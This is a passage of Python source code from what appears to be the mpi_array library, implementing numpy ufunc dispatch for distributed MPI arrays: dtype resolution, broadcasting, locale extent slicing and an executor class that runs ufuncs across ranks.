(e.g. :obj:`numpy.ndarray`, scalars\n       or :obj:`mpi_array.globale.gndarray`) to a :obj:`numpy.ufunc` call.\n    :type outputs: :samp:`None` or sequence of :obj:`object`\n    :param outputs: The output arrays these are explicitly checked casting correctness.\n    :type casting: :obj:`str` :samp:`{'no', 'equiv', 'safe', 'same_kind', 'unsafe'}`\n    :param casting: Casting mode applied to outputs. See :func:`numpy.can_cast`.\n    :type input_match_casting: :obj:`str` :samp:`{'no', 'equiv', 'safe', 'same_kind', 'unsafe'}`\n    :param input_match_casting: Casting mode applied to match :samp:`{ufunc_types}` inputs\n       with the :samp:`{inputs}`. See :func:`numpy.can_cast`.\n    :rtype: :obj:`tuple` of :obj:`numpy.dtype`\n    :return: A tuple of :obj:`numpy.dtype` indicating the output types produced for\n       the given inputs.\n    :raises ValueError: If the the inputs (and outputs) cannot be cast to an\n       appropriate element of :samp:`{ufunc_types}`.\n\n    Example::\n\n       >>> import numpy as np\n       >>> import mpi_array as mpia\n       >>> inp = (\n       ... np.zeros((10,10,10), dtype='float16'),\n       ... 16.0,\n       ... mpia.zeros((10,10,10), dtype='float32'),\n       ... )\n       >>> ufunc_result_type(['eee->e?', 'fff->f?', 'ddd->d?'], inputs=inp)\n       (dtype('float32'), dtype('bool'))\n       >>> out = (mpia.zeros((10,10,10), dtype=\"float64\"),)\n       >>> ufunc_result_type(['eee->e?', 'fff->f?', 'ddd->d?'], inputs=inp, outputs=out)\n       (dtype('float64'), dtype('bool'))\n       >>> out += (mpia.zeros((10, 10, 10), dtype=\"uint16\"),)\n       >>> ufunc_result_type(['eee->e?', 'fff->f?', 'ddd->d?'], inputs=inp, outputs=out)\n       (dtype('float64'), dtype('uint16'))\n       >>> mpia.free_all(inp + out)\n    \"\"\"\n    logger = _logging.get_rank_logger(__name__)\n    result_dtypes = None\n    ufunc_in_types = tuple(in2out_str.split(\"->\")[0] for in2out_str in ufunc_types)\n    ufunc_in_dtypes = \\\n        _np.asarray(\n            tuple(\n                tuple(_np.dtype(c) for c in ufunc_in_types[i])\n                for i in range(len(ufunc_in_types))\n            )\n        )\n    ufunc_out_types = tuple(in2out_str.split(\"->\")[1] for in2out_str in ufunc_types)\n    ufunc_out_dtypes = \\\n        _np.asarray(\n            tuple(\n                tuple(_np.dtype(c) for c in ufunc_out_types[i])\n                for i in range(len(ufunc_out_types))\n            )\n        )\n\n    in_dtypes_and_ndims = \\\n        _np.asarray(tuple(get_dtype_and_ndim(input) for input in inputs))\n\n    in_dtypes = in_dtypes_and_ndims[:, 0]\n    in_ndims = in_dtypes_and_ndims[:, 1]\n\n    logger.debug(\"inputs=%s\", inputs)\n    logger.debug(\"in_dtypes=%s\", in_dtypes)\n    logger.debug(\"in_ndims=%s\", in_ndims)\n    logger.debug(\"ufunc_in_dtypes=%s\", ufunc_in_dtypes)\n\n    out_dtypes = None\n    if (outputs is not None) and (len(outputs) > 0):\n        out_dtypes = \\\n            _np.asarray(\n                tuple(\n                    output.dtype\n                    if hasattr(output, \"dtype\") else _np.asarray(output).dtype\n                    for output in outputs\n                )\n            )\n\n    idx = None\n    idxs = _np.where(_np.logical_and.reduce(ufunc_in_dtypes == in_dtypes, axis=1))\n    if len(idxs) > 0 and len(idxs[0]) > 0:\n        idx = idxs[0][0]\n\n    if idx is None:\n        in_scalars_and_dtypes = \\\n            tuple(\n                inputs[i]\n                if in_ndims[i] <= 0 else in_dtypes[i]\n                for i in range(len(inputs))\n            )\n        idxs = \\\n            _np.where(\n                _np.asarray(\n                    tuple(\n                        _np.all(\n                            tuple(\n                                _np.can_cast(\n                                    in_scalars_and_dtypes[j],\n                                    ufunc_in_dtypes[i, j],\n                                    casting=input_match_casting\n                                )\n                                for j in range(ufunc_in_dtypes.shape[1])\n                            )\n                        )\n                        for i in range(ufunc_in_dtypes.shape[0])\n                    )\n                )\n            )\n        if len(idxs) > 0 and len(idxs[0]) > 0:\n            idx = idxs[0][0]\n\n    if idx is not None:\n        ufunc_out_dtypes_for_in = ufunc_out_dtypes[idx]\n        if (\n            (out_dtypes is not None)\n            and\n            _np.any(ufunc_out_dtypes_for_in[:len(out_dtypes)] != out_dtypes)\n        ):\n            if (\n                _np.any(\n                    tuple(\n                        not _np.can_cast(ufunc_out_dtypes_for_in[i], out_dtypes[i], casting=casting)\n                        for i in range(len(out_dtypes))\n                    )\n                )\n            ):\n                raise ValueError(\n                    \"Could not cast ufunc-output-types %s to desired output-types = %s.\"\n                    %\n                    (\n                        tuple(ufunc_out_dtypes_for_in),\n                        tuple(out_dtypes)\n                    )\n                )\n        if out_dtypes is None:\n            out_dtypes = _np.array((), dtype='O')\n        result_dtypes = \\\n            tuple(\n                out_dtypes.tolist()\n                +\n                ufunc_out_dtypes_for_in[len(out_dtypes):].tolist()\n            )\n    else:\n        raise ValueError(\n            \"Could not cast (with input_match_casting='%s') inputs types = %s to ufunc types=\\n%s\"\n            %\n            (input_match_casting, in_dtypes, ufunc_in_dtypes, )\n        )\n\n    return result_dtypes\n\n\ndef broadcast_shape(*shape_args):\n    \"\"\"\n    Returns\n    the :mod:`numpy` `broadcast <https://docs.scipy.org/doc/numpy/user/basics.broadcasting.html>`_\n    shape for the give shape arguments.\n\n    :type shape1, shape2, ...: sequence of `int`\n    :param shape1, shape2, ...: Array shapes to be broadcast.\n    :rtype: sequence of `int`\n    :return: The broadcast shape.\n\n    Examples::\n\n        >>> broadcast_shape((4,), (4,))\n        (4,)\n        >>> broadcast_shape((4, 1), (1, 5))\n        (4, 5)\n        >>> broadcast_shape((4, 1, 3, 7), (1, 8, 1, 7))\n        (4, 8, 3, 7)\n        >>> broadcast_shape((3, 7), ())\n        (3, 7)\n    \"\"\"\n    ndim = _np.max(tuple(len(shape) for shape in shape_args))\n\n    bcast_shape = ()\n    if ndim > 0:\n        ndim_shapes = \\\n            _np.asarray(tuple((1,) * (ndim - len(shape)) + tuple(shape) for shape in shape_args))\n        bcast_shape = _np.amax(ndim_shapes, axis=0)\n\n        if (_np.any(_np.logical_and(ndim_shapes != 1, ndim_shapes != bcast_shape))):\n            raise ValueError(\n                \"shape mismatch - objects cannot be broadcast to a single shape:\\n%s\"\n                %\n                (shape_args,)\n            )\n\n        bcast_shape = tuple(bcast_shape)\n\n    return bcast_shape\n\n\ndef shape_extend_dims(ndim, shape):\n    \"\"\"\n    Returns :obj:`shape` pre-prepended with ones so returned 1D array has length :samp:`{ndim}`.\n\n    :type ndim: :obj:`int`\n    :param ndim: Length of returned 1D sequence.\n    :type shape: sequence of :obj:`object`\n    :param shape: Length of returned 1D sequence.\n    :rtype: :obj:`tuple`\n    :return: Sequence pre-pended with one elements so that sequence length equals :samp:`{ndim}`.\n\n    Example::\n\n       >>> shape_extend_dims(5, (3, 1, 5))\n       (1, 1, 3, 1, 5)\n       >>> shape_extend_dims(3, (3, 1, 5))\n       (3, 1, 5)\n       >>> shape_extend_dims(1, (3, 1, 5))\n       (3, 1, 5)\n\n    \"\"\"\n    return (1,) * (ndim - len(shape)) + tuple(shape)\n\n\ndef get_extents(input, locale_info):\n    \"\"\"\n    Returns a :samp:`(locale_extent, globale_extent)` pair for\n    the given :samp:`input`, where :samp:`locale_extent` is\n    a :obj:`mpi_array.distribution.LocaleExtent` instance and :samp:`globale_extent` is\n    a :obj:`mpi_array.distribution.GlobaleExtent` instance.\n\n    :type input: scalar, array like or :obj:`mpi_array.globale.gndarray`\n    :param input: Return extents for this input.\n    :type locale_info: :obj:`mpi_array.comms.ThisLocaleInfo`\n    :param locale_info: The rank info required for constructing\n        a :obj:`mpi_array.distribution.LocaleExtent` instance\n        for :samp:`input` types which are not :obj:`mpi_array.globale.gndarray`.\n    :rtype: :obj:`tuple`\n    :return: A :samp:`(locale_extent, globale_extent)` pair indicating the\n       extents of the :samp:`{input}` array-like.\n    \"\"\"\n    locale_extent = None\n    globale_extent = None\n    if not (hasattr(input, \"shape\") and hasattr(input, \"ndim\")):\n        input = _np.asanyarray(input)\n    if hasattr(input, \"lndarray_proxy\") and hasattr(input, \"distribution\"):\n        locale_extent = input.lndarray_proxy.locale_extent\n        globale_extent = input.distribution.globale_extent\n    elif input.ndim > 0:\n        start = (0,) * input.ndim\n        globale_extent = GlobaleExtent(start=start, stop=input.shape)\n        locale_extent = \\\n            LocaleExtent(\n                peer_rank=locale_info.peer_rank,\n                inter_locale_rank=locale_info.inter_locale_rank,\n                globale_extent=globale_extent,\n                start=start,\n                stop=input.shape\n            )\n    else:\n        locale_extent = \\\n            ScalarLocaleExtent(\n                peer_rank=locale_info.peer_rank,\n                inter_locale_rank=locale_info.inter_locale_rank\n            )\n        globale_extent = ScalarGlobaleExtent()\n\n    return (locale_extent, globale_extent)\n\n\ndef calc_matching_locale_slices(out_locale_extent, out_globale_extent, inp_locale_extents):\n    \"\"\"\n    Returns :obj:`tuple` of :obj:`slice` (one tuple for each pair-element\n    in :samp:`{inp_locale_extents}`). The returned *slices* indicate the\n    portion of the corresponding input extent which broadcasts\n    to the output extent :samp:`{out_locale_extent}`.\n\n    Assumes :samp:`{out_locale_extent}.ndim >= {inp_locale_extents}[i].ndim`\n    for :samp:`i in range(0, len({inp_locale_extents})`.\n\n    :type out_locale_extent: :obj:`mpi_array.distribution.LocaleExtent`\n    :param out_locale_extent: A locale extent of the output array.\n    :type out_globale_extent: :obj:`mpi_array.distribution.GlobaleExtent`\n    :param out_globale_extent: The globale extent of the output :obj:`mpi_array.globale.gndarray`.\n    :type inp_locale_extents: sequence of extent pairs\n    :param inp_locale_extents: This is the sequence\n       of :samp:`(inp_locale_extent, inp_globale_extent)` pairs, one pair for\n       each ufunc input.\n    :rtype: :obj:`tuple` of :obj:`tuple` elements\n    :return: For each pair :samp:`(inp_locale_extent, inp_globale_extent)`\n       in :samp:`{inp_locale_extents}` returns a :obj:`tuple`-of-:obj:`slice`\n       indicating the portion of :samp:`inp_locale_extent` which is to be broadcast\n       with :samp:`{out_locale_extent}`. Tuple indices are globale.\n    \"\"\"\n    slice_list = []\n    out_loc_start = out_locale_extent.start\n    out_loc_shape = out_locale_extent.shape\n    for inp_loc, inp_glb in inp_locale_extents:\n        slc_tuple = None\n        if inp_glb.ndim >= 1:\n            inp_glb_shape = inp_glb.shape\n            inp_loc_start = inp_loc.start\n            inp_loc_shape = inp_loc.shape\n            inp_slc_start = _np.zeros_like(inp_loc_start)\n            inp_slc_shape = inp_loc_shape.copy()\n\n            slc_tuple = []\n            for a in range(-1, -(len(inp_loc_shape) + 1), -1):\n                if inp_glb_shape[a] == 1:\n                    inp_slc_start[a] = 0\n                    inp_slc_shape[a] = 1\n                else:\n                    inp_slc_start[a] = out_loc_start[a]\n                    inp_slc_shape[a] = out_loc_shape[a]\n                slc = slice(inp_slc_start[a], inp_slc_start[a] + inp_slc_shape[a])\n                slc_tuple.insert(0, slc)\n            slc_tuple = tuple(slc_tuple)\n        slice_list.append(slc_tuple)\n\n    return tuple(slice_list)\n\n\ndef calc_matching_peer_rank_slices(out_slice, inp_arys):\n    \"\"\"\n    For each input array in :samp:`{inp_arys}, calculates the portion\n    which broadcasts to the :samp:`{out_slice}`.\n    Returns :obj:`tuple` of :obj:`slice` (one tuple for each array/scalar element\n    in :samp:`{inp_arys}`). The returned *slices* indicate the\n    portion of the input which matches the specified :samp:`{out_slice}`\n    for broadcasting.\n\n    Assumes :samp:`len({out_slice}) >= {inp_arys}[i].ndim`\n    for :samp:`i in range(0, len({inp_arys})`.\n\n    :type out_slice: :obj:`tuple` of :obj:`slice`\n    :param out_slice: Slice indicating a portion (sub-array) of an output array.\n    :type inp_arys: Sequence of :obj:`numpy.ndarray`\n    :param inp_arys: The ufunc input arrays.\n    \"\"\"\n    slice_list = []\n    for inp_ary in inp_arys:\n        slc_tuple = None\n        if hasattr(inp_ary, \"ndim\") and (inp_ary.ndim >= 1):\n            inp_shape = _np.array(inp_ary.shape)\n            inp_slc_start = _np.zeros_like(inp_shape)\n            inp_slc_stop = inp_slc_start + inp_shape\n\n            slc_tuple = []\n            for a in range(-1, -(len(inp_shape) + 1), -1):\n                if inp_shape[a] == 1:\n                    inp_slc_start[a] = 0\n                    inp_slc_stop[a] = 1\n                else:\n                    inp_slc_start[a] = out_slice[a].start\n                    inp_slc_stop[a] = out_slice[a].stop\n                slc = slice(inp_slc_start[a], inp_slc_stop[a])\n                slc_tuple.insert(0, slc)\n            slc_tuple = tuple(slc_tuple)\n        slice_list.append(slc_tuple)\n\n    return tuple(slice_list)\n\n\ndef convert_to_array_like(inputs):\n    \"\"\"\n    Uses :obj:`numpy.asanyarray` to convert input ufunc arguments\n    to array-like objects.\n\n    :type inputs: sequence of :obj:`object`\n    :param inputs: Elements of this sequence which to not have both :samp:`\"shape\"`\n       and :samp:`\"ndim\"` attributes are converted to a new object\n       using :obj:`numpy.asanyarray`.\n    :rtype: sequence of :obj:`object`\n    :return: Sequence where elements of :samp:`{inputs}` have been converted to array-like objects.\n\n    Example::\n       >>> import numpy as np\n       >>> inputs = (np.array([1, 2, 3, 4], dtype=\"uint8\"), 32.0, [[1, 2], [3, 4], [5, 6]])\n       >>> convert_to_array_like(inputs)\n       (array([1, 2, 3, 4], dtype=uint8), array(32.0), array([[1, 2],\n              [3, 4],\n              [5, 6]]))\n       >>> converted = convert_to_array_like(inputs)\n       >>> converted[0] is inputs[0]\n       True\n       >>> converted[1] is inputs[1]\n       False\n       >>> converted[2] is inputs[2]\n       False\n    \"\"\"\n    return \\\n        tuple(\n            input\n            if hasattr(input, \"shape\") and hasattr(input, \"ndim\") else _np.asanyarray(input)\n            for input in inputs\n        )\n\n\ndef check_equivalent_inter_locale_comms(\n    gndarrays,\n    equivalent_compare=(_mpi.IDENT, _mpi.CONGRUENT)\n):\n    \"\"\"\n    Checks that all the :obj:`mpi_array.globale.gndarray` elements\n    of :samp:`{gndarrays}` have equivalent inter-locale communicators.\n\n    :raises ValueError: if the arrays do not have equivalent inter-locale communicators.\n    \"\"\"\n    if (gndarrays is not None) and (len(gndarrays) > 0):\n        inter_locale_comm0 = gndarrays[0].locale_comms.inter_locale_comm\n        for c in (gndary.locale_comms.inter_locale_comm for gndary in gndarrays[1:]):\n            if (\n                (\n                    (c == _mpi.COMM_NULL)\n                    and\n                    (inter_locale_comm0 != _mpi.COMM_NULL)\n                )\n                or\n                (\n                    (c != _mpi.COMM_NULL)\n                    and\n                    (inter_locale_comm0 == _mpi.COMM_NULL)\n                )\n                or\n                _mpi.Comm.Compare(inter_locale_comm0, c) not in equivalent_compare\n            ):\n                raise ValueError(\n                    (\n                        \"Got inter_locale_comm=%s (name=%s) non-congruent with \"\n                        +\n                        \" inter_locale_comm=%s (name=%s).\"\n                    )\n                    %\n                    (\n                        inter_locale_comm0,\n                        inter_locale_comm0.name if inter_locale_comm0 != _mpi.COMM_NULL else \"\",\n                        c,\n                        c.name if c != _mpi.COMM_NULL else \"\"\n                    )\n                )\n\n\nclass GndarrayArrayUfuncExecutor(object):\n\n    \"\"\"\n    Instances execute a ufunc for a :obj:`mpi_array.globale.gndarray`.\n    Takes care of creating outputs, remote fetching of required parts of inputs\n    and forwarding call to :obj:`numpy.ufunc` instance to perform\n    the computation on the locale :obj:`numpy.ndarray` instances.\n    \"\"\"\n\n    def __init__(self, array_like_obj, ufunc, method, *inputs, **kwargs):\n        \"\"\"\n        Initialise.\n\n        :type array_like_obj: :obj:`mpi_array.globale.gndarray`\n        :param array_like_obj: The :obj:`mpi_array.globale.gndarray` which\n           triggered the :samp:`__array_ufunc__` call.\n        :type ufunc: :obj:`numpy.ufunc`\n        :param ufunc: The ufunc to be executed.\n        :type method: :obj:`str`\n        :param method: The name of the method of :samp:`{ufunc}` which is\n           to be executed.\n        :type inputs: array like\n        :param inputs: The ufunc inputs.\n        :type kwargs: keyword args\n        :param kwargs: The ufunc keyword arguments.\n        \"\"\"\n        self._array_like_obj = array_like_obj\n        self._ufunc = ufunc\n        self._method = method\n        self._inputs = convert_to_array_like(inputs)\n        self._kwargs = kwargs\n        self._outputs = None\n        if \"out\" in self._kwargs.keys():\n            self._outputs = self._kwargs[\"out\"]\n        self._casting = None\n        if \"casting\" in self._kwargs.keys():\n            self._casting = self._kwargs[\"casting\"]\n        else:\n            self._casting = \"same_kind\"\n\n    @property\n    def array_like_obj(self):\n        \"\"\"\n        The :obj:`mpi_array.globale.gndarray` object which triggered the\n        construction of this :obj:`GndarrayArrayUfuncExecutor` object.\n        \"\"\"\n        return self._array_like_obj\n\n    @property\n    def peer_comm(self):\n        \"\"\"\n        The peer :obj:`mpi4py.MPI.Comm` communicator.\n        \"\"\"\n        return self._array_like_obj.locale_comms.peer_comm\n\n    @property\n    def intra_locale_comm(self):\n        \"\"\"\n        The intra-locale :obj:`mpi4py.MPI.Comm` communicator.\n        \"\"\"\n        return self._array_like_obj.locale_comms.intra_locale_comm\n\n    @property\n    def inter_locale_comm(self):\n        \"\"\"\n        The inter-locale :obj:`mpi4py.MPI.Comm` communicator.\n        \"\"\"\n        return self._array_like_obj.locale_comms.inter_locale_comm\n\n    @property\n    def ufunc(self):\n        \"\"\"\n        The :obj:`numpy.ufunc` to be executed.\n        \"\"\"\n        return self._ufunc\n\n    @property\n    def outputs(self):\n        \"\"\"\n        The ufunc :obj:`mpi_array.globale.gndarray` output arrays.\n        \"\"\"\n        return self._outputs\n\n    @property\n    def inputs(self):\n        \"\"\"\n        The sequence of ufunc inputs.\n        \"\"\"\n        return self._inputs\n\n    @property\n    def casting(self):\n        \"\"\"\n        A :obj:`str` indicating the casting mode.\n        \"\"\"\n        return self._casting\n\n    @property\n    def method(self):\n        \"\"\"\n        A :obj:`str` indicating the method of the :attr:`ufunc` to be executed.\n        \"\"\"\n        return self._method\n\n    def get_inputs_shapes(self):\n        \"\"\"\n        Returns a *shape* :obj:`tuple` for each element of :attr:`inputs`.\n\n        :rtype: :obj:`tuple`\n        :return: Shape of each ufunc input.\n        \"\"\"\n        return \\\n            tuple(\n                input.shape\n                if hasattr(input, \"shape\") else\n                _np.asarray(input).shape\n                for input in self._inputs\n            )\n\n    def get_best_match_input(self, result_shape):\n        \"\"\"\n        Returns the element of :attr:`inputs` whose globale shape\n        best matches :samp:`{result_shape}`.\n\n        :rtype: :samp:`None` or :obj:`mpi_array.globale.gndarray`.\n        :return: The input array whose shape matches :samp:`{result_shape}`,\n           or :samp:`None` if none of the inputs are a good match.\n        \"\"\"\n        best_input = None\n        result_shape = _np.array(result_shape, dtype=\"int64\")\n        input_shapes = self.get_inputs_shapes()\n        are_same_shape = \\\n            _np.array(\n                tuple(\n                    (len(result_shape) == len(in_shape)) and _np.all(result_shape == in_shape)\n                    for in_shape in input_shapes\n                )\n            )\n        if _np.any(are_same_shape):\n            best_input = self._inputs[_np.where(are_same_shape)[0][0]]\n        else:\n            input_shapes = \\\n                _np.array(\n                    tuple(\n                        _np.array(shape_extend_dims(len(result_shape), in_shape))\n                        for in_shape in input_shapes\n                    ),\n                    dtype=\"int64\"\n                )\n            d = input_shapes - result_shape\n            d *= d\n            d = d.sum(axis=1)\n            best_input = self._inputs[_np.argmin(d)]\n\n        return best_input\n\n    def create_outputs(self, outputs, result_shape, result_types):\n        \"\"\"\n        Returns list of output :obj:`mpi_array.globale.gndarray` instances.\n\n        :type outputs: :samp:`None` or :obj:`tuple` of :obj:`mpi_array.globale.gndarray`\n        :param outputs: Output arrays passed in as the :samp:`out` argument\n           of the :obj:`numpy.ufunc`.\n        :type result_shape: sequence of :obj:`int`\n        :param result_shape: The shape of all output arrays.\n        :type result_types: sequence of :samp:`numpy.dtype`\n        :param result_types: The :samp:`dtype` of each output array. Note\n            that this is the list for all outputs including any\n            in the :samp:`outputs` argument. This determines the\n            number of output arrays.\n        :rtype: :obj:`list` of :obj:`mpi_array.globale.gndarray`\n        :return: A list of length :samp:`len(result_types)` elements,\n           each element is a :obj:`mpi_array.globale.gndarray`.\n        \"\"\"\n\n        template_output_gary = None\n        if (outputs is not None) and (len(outputs) > 0):\n            check_equivalent_inter_locale_comms(outputs)\n            template_output_gary = outputs[-1]\n        else:\n            best_match_input = self.get_best_match_input(result_shape)\n            comms_distrib = None\n            if best_match_input is not None:\n                comms_distrib = \\\n                    _comms.reshape_comms_distribution(\n                        best_match_input.comms_and_distrib,\n                        result_shape\n                    )\n            if comms_distrib is not None:\n                template_output_gary = \\\n                    _globale_creation.empty(\n                        result_shape,\n                        comms_and_distrib=comms_distrib,\n                        dtype=result_types[0]\n                    )\n            else:\n                template_output_gary = \\\n                    _globale_creation.empty(\n                        result_shape,\n                        dtype=result_types[0],\n                        peer_comm=self.peer_comm,\n                        intra_locale_comm=self.intra_locale_comm,\n                        inter_locale_comm=self.inter_locale_comm\n                    )\n            outputs = (template_output_gary,)\n        outputs = \\\n            (\n                outputs\n                +\n                tuple(\n                    _globale_creation.empty_like(template_output_gary, dtype=result_types[i])\n                    for i in range(len(outputs), len(result_types))\n                )\n            )\n\n        return outputs\n\n    def get_input_extents(self, locale_info):\n        \"\"\"\n        Returns tuple of :samp:`(locale_extent, globale_extent)` pairs,\n        one for each of the :attr:`inputs`.\n\n        :type locale_info: :obj:`mpi_array.comms.ThisLocaleInfo`\n        :param locale_info: The rank info required for constructing\n            a :obj:`mpi_array.distribution.LocaleExtent` instance\n            for :samp:`input` types which are not :obj:`mpi_array.globale.gndarray`.\n        :rtype: :obj:`tuple`\n        :return: Pairs which indicate the locale extent of the ufunc :attr:`inputs`.\n\n        .. seealso:: :func:`get_extents`\n        \"\"\"\n        return \\\n            tuple(\n                get_extents(inp, locale_info) for inp in self.inputs\n            )\n\n    def get_numpy_ufunc_peer_rank_inputs_outputs(self, gndarray_outputs):\n        \"\"\"\n        Returns two element tuple of :samp:`(input_arrays, output_arrays)` which\n        are to be passed to the :obj:`numpy.ufunc` object :attr:`ufunc`.\n\n        :type gndarray_outputs: sequence of :obj:`mpi_array.globale.gndarray`\n        :param gndarray_outputs: The output arrays. All arrays should be the\n           same shape and same distribution.\n        :rtype: :samp:`None` or :obj:`tuple`\n        :return: A tuple :samp:`(input_arrays, output_arrays)` of inputs and\n           outputs which are to be passed to :obj:`numpy.ufunc` call.\n           Returns :samp:`None` if the output locale extents are empty (i.e. no\n           array elements to compute on this locale).\n        \"\"\"\n        # First fetch/slice the parts of the input required for the locale extent\n        out_gndarray = gndarray_outputs[0]\n        out_globale_extent = out_gndarray.distribution.globale_extent\n        out_locale_extent = out_gndarray.lndarray_proxy.locale_extent\n        ret = None\n        if _np.product(out_locale_extent.shape_n) > 0:\n            inp_locale_extents = \\\n                self.get_input_extents(out_gndarray.comms_and_distrib.this_locale)\n            inp_locale_slices = \\\n                calc_matching_locale_slices(\n                    out_locale_extent,\n                    out_globale_extent,\n                    inp_locale_extents\n                )\n\n            inp_locale_arys = [None, ] * len(self.inputs)\n            for i in range(len(self.inputs)):\n                input = self.inputs[i]\n                slice_tuple = inp_locale_slices[i]\n                if slice_tuple is not None:\n                    if hasattr(input, \"locale_get\"):\n                        # is a gndarray\n                        inp_locale_arys[i] = input.locale_get(slice_tuple)\n                    else:\n                        # is a numpy array (or similar)\n                        inp_locale_arys[i] = input[slice_tuple]\n                else:\n                    # is a scalar\n                    inp_locale_arys[i] = input\n\n            # Now slice the locale input arrays to match the peer-rank portions of the output.\n            out_peer_rank_slice = out_gndarray.lndarray_proxy.intra_partition.rank_view_slice_n\n            out_peer_rank_slice = out_locale_extent.locale_to_globale_slice_h(out_peer_rank_slice)\n            out_peer_rank_slice = out_locale_extent.globale_to_locale_slice_n(out_peer_rank_slice)\n\n            inp_peer_rank_slices = calc_matching_peer_rank_slices(\n                out_peer_rank_slice, inp_locale_arys)\n\n            inp_peer_rank_arys = [None, ] * len(inp_locale_arys)\n            for i in range(len(inp_locale_arys)):\n                input = inp_locale_arys[i]\n                slice_tuple = inp_peer_rank_slices[i]\n                if slice_tuple is not None:\n                    # is a numpy array (or similar)\n                    inp_peer_rank_arys[i] = input[slice_tuple]\n                else:\n                    # is a scalar\n                    inp_peer_rank_arys[i] = input\n\n            ret = \\\n                (\n                    tuple(inp_peer_rank_arys),\n                    tuple(\n                        out_gndarray.view_n[out_peer_rank_slice]\n                        for out_gndarray in gndarray_outputs\n                    )\n                )\n        return ret\n\n    def need_remote_data(self, gndarray_outputs):\n        \"\"\"\n        Returns :samp:`True` if any locale needs to fetch remote\n        input data in order to compute the all elements of the\n        outputs :samp:`{gndarray_outputs}`.\n\n        :type gndarray_outputs: sequence of :obj:`mpi_array.globale.gndarray`\n        :param gndarray_outputs: Check whether any of the locales require remote\n           data in order to compute these outputs.\n        :rtype: :obj:`bool`\n        :return: :samp:`True` if remote fetch of input data is required\n           in order to compute ufunc for the given outputs.\n        \"\"\"\n        out_gndary = gndarray_outputs[0]\n        need_remote = False\n        if out_gndary.locale_comms.inter_locale_comm != _mpi.COMM_NULL:\n            START_STR = LocaleExtent.START_N_STR\n            STOP_STR = LocaleExtent.STOP_N_STR\n            gndarray_inputs = \\\n                tuple(\n                    input for input in self.inputs\n                    if hasattr(input, \"distribution\") and hasattr(input, \"locale_comms\")\n                )\n            out_s_ext = out_gndary.distribution.struct_locale_extents\n            for inp_gndary in gndarray_inputs:\n                need_remote = \\\n                    (\n                        _mpi.Comm.Compare(\n                            out_gndary.locale_comms.inter_locale_comm,\n                            inp_gndary.locale_comms.inter_locale_comm\n                        )\n                        ==\n                        _mpi.UNEQUAL\n                    )\n                if not need_remote:\n                    # first make sure that the inter_locale_comm is compatible\n                    # between input and output\n                    translated_ranks = \\\n                        _mpi.Group.Translate_ranks(\n                            out_gndary.locale_comms.inter_locale_comm.group,\n                            _np.arange(out_gndary.locale_comms.inter_locale_comm.group.size),\n                            inp_gndary.locale_comms.inter_locale_comm.group\n                        )\n                    inp_s_ext = \\\n                        inp_gndary.distribution.struct_locale_extents[_np.asarray(translated_ranks)]\n\n                    # Now check that the output locale extent is contained\n                    # within the input locale extent.\n                    # Dimension of input can be smaller than the output\n                    # because of broadcasting rules.\n                    need_remote = True\n                    not_out_empty = \\\n                        _np.product(out_s_ext[STOP_STR] - out_s_ext[START_STR], axis=1) > 0\n\n                    ndim = inp_gndary.ndim\n\n                    beyond_out_extent = \\\n                        _np.logical_or.reduce(\n                            (out_s_ext[START_STR][:, -ndim:] < inp_s_ext[START_STR])\n                            |\n                            (out_s_ext[STOP_STR][:, -ndim:] <= inp_s_ext[START_STR])\n                            |\n                            (out_s_ext[START_STR][:, -ndim:] >= inp_s_ext[STOP_STR])\n                            |\n                            (out_s_ext[STOP_STR][:, -ndim:] > inp_s_ext[STOP_STR]),\n                            axis=1\n                        )\n\n                    need_remote = \\\n                        _np.any(\n                            not_out_empty\n                            &\n                            beyond_out_extent\n                        )\n\n                if need_remote:\n                    break\n        # All ranks in the locale need to know the result, broadcast.\n        need_remote = out_gndary.locale_comms.intra_locale_comm.bcast(need_remote, 0)\n\n        return need_remote\n\n    def execute___call__(self):\n        \"\"\"\n        \"\"\"\n        from .globale import gndarray as _gndarray\n\n        # Calculate the shape of the output arrays.\n        result_shape = broadcast_shape(*(self.get_inputs_shapes()))\n        self.array_like_obj.rank_logger.debug(\"result_shape=%s\", result_shape)\n\n        # Calculate the result dtype for each output array\n        result_types = ufunc_result_type(self.ufunc.types, self.inputs, self.outputs, self.casting)\n        self.array_like_obj.rank_logger.debug(\"result_types=%s\", result_types)\n\n        # Create the output gndarray instances\n        gndarray_outputs = self.create_outputs(self.outputs, result_shape, result_types)\n        self.array_like_obj.rank_logger.debug(\n            \"output shapes=%s\", [o.shape for o in gndarray_outputs]\n        )\n\n        # Check whether remote fetch of data is needed\n        # for any locale before calling this barrier. If all locales\n        # have local data then this barrier isn't be necessary.\n        # Otherwise, we have to sync to make sure that remote ranks have\n        # finished writing data before starting to fetch it.\n        if self.need_remote_data(gndarray_outputs):\n            for i in self.inputs:\n                if isinstance(i, _gndarray):\n                    i.initialise_windows()\n            gndarray_outputs[0].inter_locale_barrier()\n\n        # Fetch the peer-rank sub-arrays of the input arrays needed\n        # to calculate the corresponding sub-array of the outputs.\n        np_ufunc_inputs_and_outputs = \\\n            self.get_numpy_ufunc_peer_rank_inputs_outputs(gndarray_outputs)\n\n        if np_ufunc_inputs_and_outputs is not None:\n            np_ufunc_inputs, np_ufunc_outputs = np_ufunc_inputs_and_outputs\n\n            # Call the self.ufunc.__call__ method to perform the computation\n            # in the sub-arrays\n            kwargs = dict()\n            kwargs.update(self._kwargs)\n            kwargs[\"out\"] = np_ufunc_outputs\n            self.array_like_obj.rank_logger.debug(\n                \"Calling numpy.ufunc=%s:\\ninputs=%s\\noutputs=%s\",\n                self.ufunc, np_ufunc_inputs, kwargs[\"out\"]\n            )\n            self.ufunc.__call__(*np_ufunc_inputs, **kwargs)\n            self.array_like_obj.rank_logger.debug(\n                \"Finished numpy.ufunc=%s:\\noutputs=%s\",\n                self.ufunc,\n                kwargs[\"out\"]\n            )\n        else:\n            self.array_like_obj.rank_logger.debug(\n                \"Locale output extent is empty, skipping call to self.ufunc=%s:\\nOutput extent=%s\",\n                self.ufunc,\n                gndarray_outputs[0].lndarray_proxy.locale_extent\n            )\n\n        gndarray_outputs[0].intra_locale_barrier()\n\n        # return the outputs\n        if len(gndarray_outputs) == 1:\n            gndarray_outputs = gndarray_outputs[0]\n        return gndarray_outputs\n\n    def execute_accumulate(self):\n        \"\"\"\n        Not implemented.\n        \"\"\"\n        return NotImplemented\n\n    def execute_reduce(self):\n        \"\"\"\n        Not implemented.\n        \"\"\"\n        return NotImplemented\n\n    def execute_reduceat(self):\n        \"\"\"\n        Not implemented.\n        \"\"\"\n        return NotImplemented\n\n    def execute_at(self):\n        \"\"\"\n        Not implemented.\n        \"\"\"\n        return NotImplemented\n\n    def execute_outer(self):\n        \"\"\"\n        Not 